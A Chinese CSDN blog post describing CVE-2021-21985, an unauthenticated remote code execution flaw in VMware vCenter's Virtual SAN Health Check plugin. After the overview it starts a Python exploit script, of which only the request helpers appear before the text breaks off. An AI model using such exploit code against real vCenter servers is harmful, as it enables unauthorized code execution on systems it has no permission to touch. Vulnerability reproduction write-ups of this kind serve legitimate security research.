CVE-2021-21985 vCenter复现RCE

tesla889

已于 2024-01-14 00:57:23 修改

阅读量755

点赞数 6

文章标签：安全网络安全

于 2024-01-10 11:35:34 首次发布

本文链接：https://blog.csdn.net/tesla889/article/details/135499246

版权

本文介绍了VMware vCenter的CVE-2021-21985远程代码执行漏洞，该漏洞源于Virtual SAN Health Check插件的输入验证缺失，允许未认证用户执行任意代码。复现情况显示，攻击者通过443端口构造特殊请求可实现目标机器上的任意代码执行。修复和利用详情可参考官方文档及360安全响应中心、GitHub开源项目。

摘要由CSDN通过智能技术生成

漏洞概述

VMware在5月25日发布了CVE-2021-21985vCenter远程代码执行漏洞通告及修复版本，该漏洞允许未经身份认证的用户调用任意Bean里的任意方法，当调用一个恶意方法时会导致任意代码执行。具体文章请查阅官方文档
在这里插入图片描述

复现情况

该漏洞由于vCenter Server默认启用的插件Virtual SAN Health Check缺少输入验证导致的。
能通过443端口访问到vSphere Client(HTML5)的攻击者，可以构造特殊的请求包在目标机器上执行任意代码
在这里插入图片描述

利用情况和exp脚本如下:

import requests
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def send_request(host,uri,json):
    try:
        req = requests.post(url=host+baseuri+uri,json=json,headers=headers,verify=False)
        return req.text
    except:
        return False
def check_false(request):
    if request &